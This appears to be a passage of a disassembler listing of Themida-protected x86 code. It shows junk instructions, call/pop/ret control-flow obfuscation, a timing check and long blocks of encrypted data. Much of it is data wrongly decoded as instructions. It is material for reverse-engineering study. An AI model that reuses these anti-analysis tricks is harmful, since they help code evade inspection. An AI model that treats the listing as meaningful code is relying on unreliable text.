[ecx+0C4D34EDh], ah pop ebp sbb ah, [ebx] push ecx pop edx xchg dl, [eax] out dx, al push es db 3Eh sbb [ebx+5A408C90h], ch mov byte ptr [ebp+6280D25h], 56h mov [ebp+6281515h], eax call near ptr loc_5CBE42+2 fbstp tbyte ptr [eax] loc_5CBE42: ; CODE XREF: Themida_:005CBE3Bp lds ebp, [ecx+2B26BE66h] push eax mov esi, ecx mov eax, [esp+4] mov dx, 7789h mov eax, [eax] jns $+6 mov [esp+4], eax push eax push edx rdtsc mov esi, 74C96BBh pop edx pop eax pop eax xor edx, [ebp+6280FF9h] push dword ptr [ebp+628140Dh] push esi call near ptr loc_5CBE87+3 insb xchg eax, ebp fistp word ptr [ebx+1Eh] call near ptr 0B6D36282h loc_5CBE87: ; CODE XREF: Themida_:005CBE78p mov dl, [ebx-72A1A553h] loc_5CBE8D: ; CODE XREF: Themida_:005CBE10j test [eax+6Fh], ebx sub eax, [esi] push 0 push eax call sub_5CBE9D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBE9D proc near ; CODE XREF: Themida_:005CBE95p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5CBE9D endp ; --------------------------------------------------------------------------- mov ds:0F9C712F4h, al pop ss or dh, [edx+6CE681B3h] mov esp, 0D0FF0E4Ch xor dh, 9Bh push eax jmp loc_5CBECD ; --------------------------------------------------------------------------- db 7Ch dd 29D36EE5h db 0DBh ; --------------------------------------------------------------------------- loc_5CBECD: ; CODE XREF: Themida_:005CBEC2j mov [esp], eax and edx, [ebp+6280785h] lea ecx, [ebp+62821D1h] xor si, 60E7h push eax mov si, dx mov [esp], ecx adc dl, 71h jns loc_5CBEF6 mov esi, 0B58A5FEh loc_5CBEF6: ; CODE XREF: Themida_:005CBEEBj push 4 push 0 push ebp call sub_5CBF03 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBF03 proc near ; CODE XREF: Themida_:005CBEFBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5CBF03 endp ; --------------------------------------------------------------------------- inc esi jb loc_5CBF26 jl loc_5CBF26 mov edx, [ebp+6280CE5h] loc_5CBF26: ; CODE XREF: Themida_:005CBF14j ; Themida_:005CBF1Aj push 0C0BA8798h jmp loc_5CBF3A ; --------------------------------------------------------------------------- dd 26C94935h, 0A01AC8E3h db 9Ah, 0C7h ; --------------------------------------------------------------------------- loc_5CBF3A: ; CODE XREF: Themida_:005CBF2Bj add dword ptr [esp], 3F458868h push 0 push ebx call sub_5CBF4C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBF4C proc near ; CODE XREF: Themida_:005CBF44p ; Themida_:005CBF5Cj arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5CBF4C endp ; --------------------------------------------------------------------------- loop sub_5CBF4C xor byte ptr [ebx+56h], 0BAh mov dh, 10h cmp al, 6Eh pop edx push dword ptr [ebp+6282BDDh] jo loc_5CBF79 add [ebp+6282511h], ecx loc_5CBF79: ; CODE XREF: Themida_:005CBF6Dj cmc call eax push 0 push edi call sub_5CBF87 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBF87 proc near ; CODE XREF: Themida_:005CBF7Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5CBF87 endp ; --------------------------------------------------------------------------- db 0FDh dd 8B35FEE7h, 2805E995h, 0F945BA06h, 0BD8B0EECh, 6282BDDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F0C35545h dd 0C480EC5h, 21A9B58Bh, 7F030628h, 0C781F83Ch, 0F8h, 26D9589h dd 47C70628h, 2024h, 83F48A60h, 302727BDh, 840F0006h, 1BCh dd 66D6B70Fh, 83276DBAh, 6A28C7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 5B7F58C3h, 6F54737Eh dd 8D89575Dh, 628180Dh, 2E07C75Ah, 6A64696Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0A560C353h, 0B288822h, 0E89B7106h, 14h, 4FD3344Bh, 0E6C418D1h dd 0EB80364Dh, 544725C1h, 0E2AF2B23h, 0AE9h, 9551E400h dd 0C64727A2h, 5EEB5FC3h, 610447C7h, 0E9006174h, 0Ah, 315B180Eh dd 0F4A49B4Eh, 858B58ACh, 630272Fh, 41A6F681h, 47894806h dd 8BF38B0Ch, 30273385h, 0BE85306h, 59000000h, 0C3E4CF82h dd 7D7CB9B5h, 0D680AEF6h, 895A5A72h, 958B0847h, 6282941h dd 6A28C783h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 2454C350h, 92B8816Ch, 0C73EC072h dd 6F632E07h, 8D0F6Eh, 0C7000000h, 69660447h, 6A0067h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0F28B45C3h, 1EC58D89h, 858B0628h, 630272Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0EFC35343h, 3FFC7236h dd 0EE99066h, 75000000h, 6E20D09Eh, 5C206EA0h, 7D87E547h dd 0C47895Fh, 1889958Bh, 858B0628h, 6302727h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DAC35242h, 44252CD0h dd 0C21E49BEh, 5D1DBA7Eh, 47892531h, 0EE908h, 70D70000h dd 67534BCCh, 18CA6C37h, 960C7097h, 0FE958h, 5E260000h dd 0E598B664h, 51B4D0B2h, 484ECC85h, 0ABE681CCh, 8D4EE710h dd 282AF58Dh, 0D18B6606h, 0FA2BE50h, 0C890388h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0D6B70F60h, 0C9D3E681h, 0B5FF466Eh, 62821D1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 29C35545h, 17A6E7B5h dd 0B23D7231h, 9C7C68B9h, 14E85B59h, 0E9000000h, 3F9A28E1h dd 20F059F4h, 2398544Eh, 0E9D5DFCFh, 664CD86Fh, 5A89C3BAh dd 7C243481h, 295B598Ch, 2802D5BDh, 0DDB5FF06h, 6A06282Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 1AEEC356h, 0FFB532D6h, 0B7BE66D0h db 2Ah ; --------------------------------------------------------------------------- loc_5CC28D: ; CODE XREF: Themida_:005CBDFCj mov eax, 0 call sub_5CC2AA cld pop ebx inc ebp xchg eax, ebp ; --------------------------------------------------------------------------- db 0FEh dd 0D922DCDBh, 1C54A250h, 90560913h db 0C1h, 1Ch ; =============== S U B R O U T I N E ======================================= sub_5CC2AA proc near ; CODE XREF: Themida_:005CC292p call near ptr loc_5CC2BF+1 cli push es add byte ptr [esi], 5Ah xchg eax, ebp popf add ds:0CAA85FCAh, ebp dec esp jnp short near ptr loc_5CC2BF+1 loc_5CC2BF: ; CODE XREF: sub_5CC2AAp ; sub_5CC2AA+13j arpl [ebx+28226195h], cx sub_5CC2AA endp ; sp-analysis failed push es pop esi pop edx or eax, eax jz loc_5CC2E8 sub dl, 98h push dword ptr [ebp+6282939h] mov edx, [ebp+62824B5h] call dword ptr [ebp+62814D9h] movzx edx, cx loc_5CC2E8: ; CODE XREF: Themida_:005CC2CAj mov eax, eax stc mov edx, eax cmp dword ptr [ebp+6280149h], 0 jnz short loc_5CC2FF cmp dword ptr [ebp+62814C5h], 0 jz short loc_5CC318 loc_5CC2FF: ; CODE XREF: Themida_:005CC2F4j push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6282E55h], eax lea ebx, [ebp+62AA5C5h] call ebx pop ebx pop eax loc_5CC318: ; CODE XREF: Themida_:005CC2FDj cmp dword ptr [ebp+62814C5h], 0 jz short loc_5CC338 push eax push ebx mov eax, 42Dh mov [ebp+6282E55h], eax lea ebx, [ebp+62AA266h] call ebx pop ebx pop eax loc_5CC338: ; CODE XREF: Themida_:005CC31Fj mov dx, ax mov edx, [ebp+6282045h] mov eax, eax call sub_5CC359 fstp tbyte ptr [edx+5Ch] loope near ptr loc_5CC370+2 cmpsd mov cl, 0D3h cmp cl, ds:113C9EA9h xchg eax, esp cld stc ; =============== S U B R O U T I N E ======================================= sub_5CC359 proc near ; CODE XREF: Themida_:005CC343p sub [ebp+6281F2Dh], eax pop edx mov eax, eax lea ecx, [ebp+6303156h] push 0 push edx call sub_5CC373 loc_5CC370: ; CODE XREF: Themida_:005CC34Bj and [edx-3Dh], bl sub_5CC359 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CC373 proc near ; CODE XREF: sub_5CC359+12p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5CC373 endp ; --------------------------------------------------------------------------- dec ebx push sp xor [eax+7927340Fh], bl xchg cl, [ebx+2802499Dh] push es and eax, 1824C43Dh mov [ebp+6280715h], ecx push 0 push edx call sub_5CC3AA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC3AA proc near ; CODE XREF: Themida_:005CC3A2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5CC3AA endp ; --------------------------------------------------------------------------- rcpps xmm5, oword ptr [ebx] dec dword ptr [ebx+280355B5h] push es pusha add [ebp+6280829h], ecx and ebx, [ebp+6281A3Dh] popa mov dword ptr [ebp+62821BDh], 6DDCh push 0 push ebx call sub_5CC3E7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC3E7 proc near ; CODE XREF: Themida_:005CC3DFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5CC3E7 endp ; --------------------------------------------------------------------------- db 0E4h dd 8985F8E9h, 280EDD8Dh, 0C870F06h, 0F000000h, 68Ch, 0A9B58B00h dd 8B062806h, 2801B595h, 3D85C706h, 62811h, 0E9000000h dd 0Bh, 4C14EB85h, 7B38B29Dh, 0FF77DEADh, 282E79B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0B32FD9EBh, 9DB5892Ch, 66062825h, 26A6F381h, 14D995FFh dd 6A0628h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 44A4EBC3h, 2C2CE980h, 661F2E01h, 981CE281h dd 95FF006Ah, 6280465h, 4AEBC08Bh, 7B1C3C3Bh, 0ECC95FB1h dd 722EEAC6h, 0CBE05984h, 0A1B185F4h, 84E23BFFh, 858E5A49h dd 84E302B3h, 796D2728h, 6C5D56ECh, 26EB7F28h, 0BAC3F3EDh dd 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh, 0B82D8FD0h, 0E88E07AEh dd 39D52F4Bh, 22E92CA3h, 38000000h, 7F5A0Bh, 7 dup(0) dd 5E8E900h, 3E0F0000h, 0F9C7CB48h, 0AE7A7EFBh, 592B2FACh dd 15E2E663h, 0CB979A17h, 0B22F2DFAh, 68E5DFAEh, 1A979964h dd 0CF4C4616h, 65B319A9h, 0F7943A2h, 10E0C73Ch, 703DF116h dd 21F1F572h, 0A04D685Dh, 7AE01468h, 0D7D1A155h, 3230FEB2h dd 8D4A0C6h, 3C00C64Eh, 22B61C4Ch, 4E077F59h, 92FEF8C8h dd 0ADFB7D6Eh, 13A4D3F4h, 1E5D8D50h, 3F60F4F3h, 0F16E703Bh dd 2FED53B3h, 497F730Ch, 521DF387h, 579B4386h, 76D4089h dd 995F2EE2h, 0B8A6CBCDh, 73C78A52h, 86ECAE7Fh, 8B2FFB20h dd 0C717C52Bh, 5F217F73h, 8C12CBCBh, 2D53BFC1h, 6632645Eh dd 0ABAFD064h, 0C7C117DBh, 0AD3251FBh, 8DB2AC7Bh, 0ADD33FA5h dd 53718E0h, 0A9532D47h, 0F2E6AF43h, 7F73B32Fh, 0F6C1E7F3h dd 53E7CFF4h, 5C1D9A53h, 36BB314Fh, 0BFA870D6h, 0ACC7F73h dd 7C8A76h, 0E0B70000h, 0B27E4A10h, 0CF0FE6E3h, 1C41A7D8h dd 34360234h, 61B5A9CEh, 0B57F7351h, 0F68300B9h, 0C0BB31F0h dd 1, 1412E0EDh, 6F6D3BEFh, 0FB81DF03h, 0CAEFE9B9h, 7C00B2E2h dd 6B1FE87Ch, 0A47EA399h, 292BF61Ch, 88881C04h, 7D7B49CFh dd 0FC62C200h, 7F738ADCh, 2C029658h, 0C9CB965Ch, 0BB8ABCA4h dd 0C9EF5BC1h, 3F5035F9h, 0DD93FB68h, 0FE6A5277h, 73734098h dd 9E32F47Fh, 13E0147Dh, 6E3CF015h, 93D4046Ah, 9E607F73h dd 930CCC32h, 66287F73h, 7614DB00h, 6C6A37BDh, 571BEBEFh dd 0EA6DA2BFh, 3CDC4225h, 387F73D4h, 85AA1076h, 0A99F7197h dd 32089C84h, 4C3F6466h, 0B9D04D06h, 0FDBB3174h, 75h, 1513E02Ah dd 6E703CF0h, 87E76F49h, 7393FB21h, 89BB7D7Fh, 2D2DC1B7h dd 2321EE74h, 0BD5A2A6h, 321A3F3Dh, 13382E00h, 0ECA0C52Bh dd 0CFF241Ah, 0F9900DC6h, 99BB312Dh, 9805D339h, 6D2F7F73h dd 987D9B01h, 35F77F73h, 4EB5A1h, 0A6E20000h, 8FB4B280h dd 7D53BA7h, 317F7393h, 3805DB6Fh, 1DA71170h, 0BB217C21h dd 1517E296h, 0F0A90BF0h, 229F9D6Ah, 1412E0B9h, 93D8FBEFh dd 0FC7F73h, 30AFCA47h, 1107BB31h, 5F000000h, 25558F3Bh dd 1A122E7h, 94295978h, 4782164Dh, 0ED1214E0h, 3696939h dd 7F7393D5h, 996B9D5Fh, 30967EA3h, 0F2AB3F0Bh, 0AC6CD232h dd 0C87F7393h, 0D09C7206h, 8E6151CEh, 4893F965h, 36755B8Ch dd 0AA7A4010h, 3DA38BB0h, 668B4DA9h, 6BE8E2B2h, 3C3A072Dh dd 94B26AD0h, 4C6795Bh, 4CA9A70h, 0ACD13739h, 0CCCA98BEh dd 94FC2238h, 3606795Bh, 0C329173Ch, 795B9415h, 5C2B5D1Fh dd 9426F65Ch, 9052795Bh, 6453052Ah, 0C37F9050h, 7A3397F9h dd 0C62C22F4h, 0C2480163h, 777BF8F2h, 0D488ADA7h, 3E9E0A04h dd 5B0C00D8h, 0DE723479h, 98926115h, 0F2F4BF73h, 0AF6806CDh dd 0A202B0F5h, 5B0C9C3Ch, 6D0C9879h, 2A0F9B8h, 0A0A0349Ah dd 979161E7h, 0E6B6DC1Ah, 0EC525420h, 0C7ECEEBAh, 0FB7E4BDFh dd 0BBC159B8h, 166h, 5682A6E8h, 4496ECE9h, 9A0002CEh, 54714406h dd 682F82E8h, 8951755Bh, 5BF8F523h, 8BBD7F79h, 0B39BC0BEh dd 0A474284Dh, 48183EAAh, 0F83AE248h, 7C3E795Bh, 5D618216h dd 127938Dh, 0D7A03436h, 34595323h, 8DB2B480h, 0DA0C0ED9h dd 49AA440Ch, 0A966275Ch, 0B9571E43h, 0B2A87A00h, 0B069074Ch dd 0F4605A2Ah, 1FBA0FD0h, 780C7F8Ah, 6EF51957h, 8058BE8Ah dd 0B4795B81h, 0D947C2F2h, 95E4B145h, 0FDC159D0h, 7B0F05D7h dd 4E8Fh, 46A6BC00h, 739338E0h, 0DEAE3C7Fh, 28EA7EE4h dd 9CC22E53h, 0C1A9CED0h, 9DC2C48Fh, 0AB1121B5h, 0FF73934Dh dd 0EA489B27h, 0EAF4667Ch, 0AD6B5F84h, 1DFF7335h, 0B98E00B9h dd 3F0A309Ch, 9C30183Dh, 35D6268Ch, 0E0A27F73h, 8C5C63h dd 0F4630000h, 0A3693821h, 0F75DBD1h, 0B49A3DA3h, 88E8755Bh dd 27999362h, 795B8CF1h, 0D12DC183h, 1D43A30Fh, 452D5250h dd 5B8C05D3h, 0D96D2F79h, 928C5C10h, 47411115h, 8DF52E22h dd 72E4795Bh, 0EE827C4Ch, 0DFAF35EEh, 0A57868E5h, 49F01480h dd 8C25D5DFh, 93F9099Dh, 730B462Bh, 65657195h, 4485CAFBh dd 6D9254B0h, 28BC5B7Fh, 9EFD3A48h, 6A64340Ah, 2CE57945h dd 52BEE7BAh, 0D4F9CEF2h, 0D03FDA31h, 8D98263Ch, 1ADC797Ah dd 21F4349Dh, 0A7729804h, 2C9280A5h, 7F7393ECh, 0CC60C688h dd 96FC5CBCh, 7F739346h, 869C30F2h, 7523A138h, 0A1557A3Ch dd 1C5AD7D1h, 9A2E24F6h, 8EFAF4C4h, 0A110C82Eh, 0A707943h dd 7943A1D2h, 2AECA466h, 108062FAh, 6E02EC26h, 2E61B1A5h dd 0EB63E02Dh, 18DCAC32h, 9908E776h, 0AC298FB2h, 8076486Eh dd 4C4616ECh, 0ABA17327h, 0F216BA86h, 47B5947Dh, 19BF25A1h dd 1B00E942h, 5F5FF359h, 13C2E6A6h, 0EFF1BDDEh, 91C635BFh dd 5D5727FDh, 120CDCE0h, 9D9FFEDh, 6E02EA0Fh, 0C95h, 65879C00h dd 71E85F41h, 0FD915999h, 190FE0C2h, 767040F4h, 0D0D29D51h dd 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h, 9EA06C20h dd 0F9F7C579h, 8168FFD4h, 89000023h, 89522414h, 4C281E2h dd 83000000h, 148704EAh, 34895C24h, 4EC8324h, 53240C89h dd 35303BBBh, 59B8504Fh, 21243256h, 814358C3h, 0A36E36CBh dd 81DBF750h, 0FF0705C3h, 16F3813Dh, 89EF7BB9h, 8B545BDEh dd 0C481240Ch, 4, 470A68h, 24348900h, 0FF08418Fh, 81592434h dd 4C4h, 24348B00h, 5E08950h, 4, 8704C083h, 0E95C2404h dd 0FFF8482Dh, 0C0446454h, 621A92D0h, 31B8279Eh, 3063037h dd 2BE0FFC5h, 404B60C0h, 0AF2D399Ah, 0E117C656h, 0F61A7707h dd 0FA3974CAh, 183E45A1h, 0A70DA3FFh, 0CA22B526h, 0C169FF04h dd 962F5096h, 87745F4Ah, 544F97BCh, 0E31A893Ah, 0F603CF56h dd 847C39F4h, 9D1F50DFh, 3A2478D8h, 0B75329CAh, 9607A310h dd 6D07B168h, 0B2017D56h, 0E8491BD2h, 7F67A0E7h, 0AB5F528Eh dd 397991FDh, 0A91C0163h, 277DAEDh, 3147C996h, 8D3635CEh dd 3038B88Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 8D89FD2Eh, 6280715h, 1FC8B866h, 21BD85C7h dd 5ACC0628h, 0C68B0000h, 113D85C7h, 628h, 81660000h, 66BADCEBh dd 0B5FFFE8Bh, 62826BDh, 0FFF2BF0Fh, 2814D995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0EF81660Ah, 6AEE02h, 46595FFh, 0C08B0628h, 27E929EBh dd 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h, 0DB460C40h, 48F8B604h dd 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 1FAF5E73h, 8D379BCFh dd 3039C98Dh, 68D0F06h, 29000000h, 28294DB5h, 158D8906h dd 6A062807h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0A6E9C353h, 8B81E5F1h, 0BD85C7D8h dd 62821h, 6A000075h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 9A07C357h, 2BAA0AF4h, 2829A19Dh dd 3DB58906h, 0C7062823h, 28113D85h, 6, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 3A4880Eh, 5E1B5FFh, 6A0628h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 7EBBFCC3h, 768BF9D3h dd 14D995FFh, 9E80628h, 0A000000h, 849E815Ah, 0B3978185h dd 0BED8D01h, 6A580628h, 6595FF00h, 8B062804h dd 8D0CEBC0h, 82657B30h, 0E5C9D663h, 0E893D529h, 0Fh, 0A0637402h dd 8D71404Dh, 4D0CDD1Fh, 57EB8474h, 5F616056h, 0BD0B595Bh dd 6282729h, 6214C181h, 850F0000h, 5, 0BEBEF4BFh, 66C03336h dd 0B258DE81h, 0F501148Bh, 0BB46C281h, 0EE918DDh, 88000000h dd 41ECB229h, 84922217h, 46CE7579h, 0BBF28125h, 514AF2F0h dd 0D1EB8166h, 0EA815BB1h, 2CEE42C8h, 2569B58Bh, 14890628h dd 0E9D78101h, 600AE94Ah, 16B59D09h, 890F0628h, 6, 2289BD89h dd 83610628h, 0BD2904E8h, 6280C1Dh, 9EB4F881h, 850FFFFFh dd 17h, 2AE9FCh, 417B0000h, 545F6684h, 217213Bh, 0BD3BD05Fh dd 8B8DD284h, 2801B5B5h, 0FF76E906h, 35E4FFFFh, 0D2E9AEE2h dd 20781020h, 0C1E9746h, 0B3E900EBh, 2E000003h, 0E6EA675Dh dd 999D1A18h, 4A4ECBCDh, 1058278h, 0B6B93634h, 4E4C19E8h dd 4FECDD1h, 0B6B88387h, 6B653539h, 0D238C8EEh, 7943A90Ah dd 0E0E65B2Eh, 84A81412h, 448BC0FBh, 65861AF1h, 1A840327h dd 0ECE48C10h, 0B4B68258h, 6B613337h, 1F1DEAEEh, 0D3D19EA2h dd 89835256h, 8157BD1Dh, 0B37F7305h, 383C5DF1h, 0B0EE6B6Dh dd 3A532C8Ch, 0D66A6C12h, 0B9363000h, 0BE88557Bh, 0E5CDF2F0h dd 66C5A7Fh, 7F739AD6h, 83AA062h, 30183D3Bh, 7349869Ch dd 0B1857522h, 0D7FCF6C6h, 365B5123h, 59532248h, 65B84C34h dd 9799658Bh, 645A8A72h, 8C139EC2h, 3507DD71h, 0FFD2C23Fh dd 41046AD6h, 0F3737478h, 0CD9FC531h, 36CAB2D7h, 9FA7796Dh dd 0DA20732Bh, 3BD5A421h, 0FCE1C789h, 0E000000h, 0F01513E0h dd 42A8A1Ah, 2E163B35h, 93A0849Ah, 48D47F73h, 695B61C3h dd 0DAFF65AEh, 0F05C5626h, 45F22A90h, 0C4867F73h, 3B0B0F30h dd 0F9B1D541h, 0BCB1A723h, 5210DCEBh, 76DA1622h, 0A67919E2h dd 54AB117Dh, 7A755B36h, 2E64B41Ah, 4810795Bh, 5B2E3AE2h dd 167C3E79h, 3F642682h, 0A026DF73h, 6959D6D0h, 0A1016D96h dd 18E3AD7Bh, 0A38BB016h, 0E216F90Fh, 0C6887373h, 2220EDA1h dd 0FCBE90B6h, 0A5CA302Eh, 40829BDh, 0A7CD3937h, 0CDB5DADCh dd 68CC509Dh, 53E7D6F1h, 0F015EA8Ah, 62E1E84h, 884A7323h dd 25481B0Bh, 230519BFh, 0F3591B73h, 311E2187h, 86AC790Bh dd 137EEEBAh, 49FB67ACh, 0A6D6BEE3h, 0ED6D3F5Dh, 55B145DBh dd 0EDBA6E93h, 0E3472EFh, 0DBB1453Fh, 7A74440Eh, 0DB01EF14h dd 0B7790D0Fh, 0EB51BDE2h, 6D0B34F1h, 0D0D45113h, 4A880503h dd 32575924h, 0F47BB64Ah, 32980421h, 755B8157h, 64527739h dd 87687540h, 0AE96BBB9h, 610AE37Eh, 2D27F7CDh, 21EFB1B0h dd 759B274Ch, 795B13A3h, 2F2DFB21h, 0B88E220Ah, 6D71EEE8h dd 907EA39Dh, 1F26F56Ch, 462E5351h, 61E1E316h, 2D27F7CDh dd 0EAA34108h, 1D9A9464h, 59BA5722h, 75DB3BC1h, 795B04A7h dd 83DE45D1h, 3AB9E2EAh, 2B5440D4h, 81000000h, 0E8B480A6h dd 0C620ABEEh, 0F05CC293h, 735D528Ah, 9024E67Fh, 6EDAFBCEh dd 5B69E908h, 0A4C98B75h, 0A92620F0h, 0AA2h, 0EE0A900h dd 6F3FF318h, 0E08FF875h, 86AC180Eh, 829BDB7h, 20EC52E2h dd 907F7393h, 89C9E6Ah, 587EEAACh, 33FC9086h, 90B5AF7Fh dd 0CF7730C4h, 930FD93Fh, 6F317F73h, 937F9D03h, 37F97F73h dd 0D7056BCBh, 617F7393h, 0E6EA0B9Fh, 50B01C16h, 3D62582Ah dd 9335E355h, 0F3C57F73h, 0EF8345FDh, 27E7A0CEh, 93BB61C7h dd 0FBBD7F73h, 158E67h, 0E0950000h, 67754C10h, 0A3D3D19Fh dd 0B51B0543h, 120CDC90h, 0E0EB3895h, 40F4190Fh, 9D517670h dd 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh dd 0C5799EA0h, 0FFD4F9F7h, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 53240C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch ; --------------------------------------------------------------------------- or al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push eax push 7C170573h pop eax sub eax, 75E6CAC1h push ebp mov ebp, eax mov ecx, ebp pop ebp pop eax push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx xor dword ptr [esp], 4C772DCh pop dword ptr [esi+8] xor dword ptr [esi+8], 4C772DCh push dword ptr [esp] pop esi add esp, 4 mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- adc eax, eax mov eax, 6303DCBh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0DAh dd 9C213499h, 0E836D41Bh, 0B94B1865h, 6932EC48h, 0E9679EADh dd 4B33693Dh, 817DC61Fh, 877170C0h, 13E9F811h, 3C000000h dd 0F39310C1h, 5E4074A9h, 0F1E4351Eh, 0A0EA385Bh, 20BF8E0Ah dd 0F7B073Eh, 830FC2B7h, 0 dd 0BE8h, 0FF704000h, 0ED7D1D30h, 6BB649F8h, 80616060h dd 5961B2F3h, 0C860Fh, 830F0000h, 6, 880Fh, 0CE90000h dd 0B9000000h, 0C8D4340Eh, 3C782CD5h, 0F35B62Bh, 820FFBBFh dd 4, 5BDA8B50h, 0CE9h, 48189500h, 0BCA309E6h, 6052F717h dd 0E8CB81BBh, 8107AC81h, 65EB75C8h, 12E971h, 27830000h dd 620C9C1Eh, 0B7AD8A10h, 81D9B563h, 0FB531F63h, 81FFB70Fh dd 7971C7DFh, 0CFB70F27h, 88B0Fh, 81530000h, 7524A7E6h dd 5E95F2Eh, 0B7000000h, 3D9EF83Ch, 0E3B073BEh, 0C58AFC40h dd 38C0Fh, 0F2800000h, 8166608Ch, 66B544CFh, 0F189E681h dd 5AC18161h, 80485369h, 840FE0D2h, 3, 0E95BDA80h, 14h dd 8390887Ah, 0BD750EA8h, 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh dd 0DA815751h, 21C39F20h, 0D480585Ah, 50DF8BC0h, 198D0F59h dd 0E9000000h, 14h, 0ED646B53h, 4B1FCB39h, 0C61C3944h dd 732E6D9Ah, 0BA590E04h, 0EE9h, 5565E400h, 97D80076h dd 0CA9AE530h, 0F977946h, 8B66FFB7h, 8A0FDFh, 60000000h dd 8CBE6656h, 8D0F585Dh, 6, 8D0Fh, 81610000h, 0CA7F14DFh dd 8BBA6673h, 8A0FF577h, 0Bh, 6E9h, 26F33A00h, 80D34F65h dd 0BF0F27CAh, 0FE953F0h, 9B000000h, 0E741DC90h, 0E3D2EAB2h dd 50C8E9D4h, 0F59457Bh, 38Ch, 0F2BF0F00h, 419EDE81h, 0BE662620h dd 8E944F7h, 98000000h, 0E7EE73B8h, 0F7763D9h, 486h, 49BF6600h dd 14E9CBh, 7D1A0000h, 6E7CF474h, 7B2A9B04h, 0D9FA71B7h dd 67F2BAB8h, 0BA667BBCh, 0E9564B69h, 10h, 3416098h, 7AB98BBAh dd 0B7DC3E62h, 0F3AAFA18h, 4471B95Eh, 8B660770h, 67D280CAh dd 5353DE8Bh, 5B5F03B0h, 0B1DFB70Fh, 7BBB66B1h, 8166F523h dd 662731E6h, 81EFF1BBh, 0F7B29BD1h, 66F0BF2Fh, 0CE810199h dd 60C45648h, 0F56F780h, 12E9DBBFh, 8C000000h, 0ED17021Fh dd 65D3AA5Ah, 0B04454AAh, 3DAE4EDAh, 10E987h, 84A40000h dd 5A9D641Bh, 0F6E7857Ah, 0AE92BCB0h, 0F601A59h, 38Ah dd 0FE8B6600h, 611EF480h, 656570B8h, 0F9C9802Ch, 0E8F9F8B3h dd 5, 0EAFDD6EFh, 58F88B33h, 9E9h, 9006F800h, 0C0AAA951h dd 8D0FB746h, 4, 0BE5BB866h, 0FCFC8A60h, 0EE961h, 54AD0000h dd 0A6D87971h, 0DC9593B2h, 10402654h, 95BCFCBBh, 60B8BA29h dd 816627B7h, 60D95CEAh, 6661B0B4h, 0B350DE8Bh, 8166594Fh dd 0FBA70E3h, 587h, 0C3816600h, 8A0FA213h, 8, 2810Fh, 59510000h dd 13860Fh, 0AE80000h, 24000000h, 0CA5825Fh, 8F12ECB5h dd 0CFBF0F5Fh, 8A7AB05Ah, 0CE8166F8h, 0F1811D5Dh, 56F667Ch dd 9E9h, 64116C00h, 31B7BB23h, 8B668212h, 7E8DFh, 2F0E0000h dd 919141DEh, 0A7B96641h, 81665E06h, 0E9E5FAC3h, 0Eh, 1FB685E3h dd 838CA18Ch, 1BA6E3C4h, 0E980696Eh, 0F14B4CDh, 13E9CABFh dd 76000000h, 31281E1Bh, 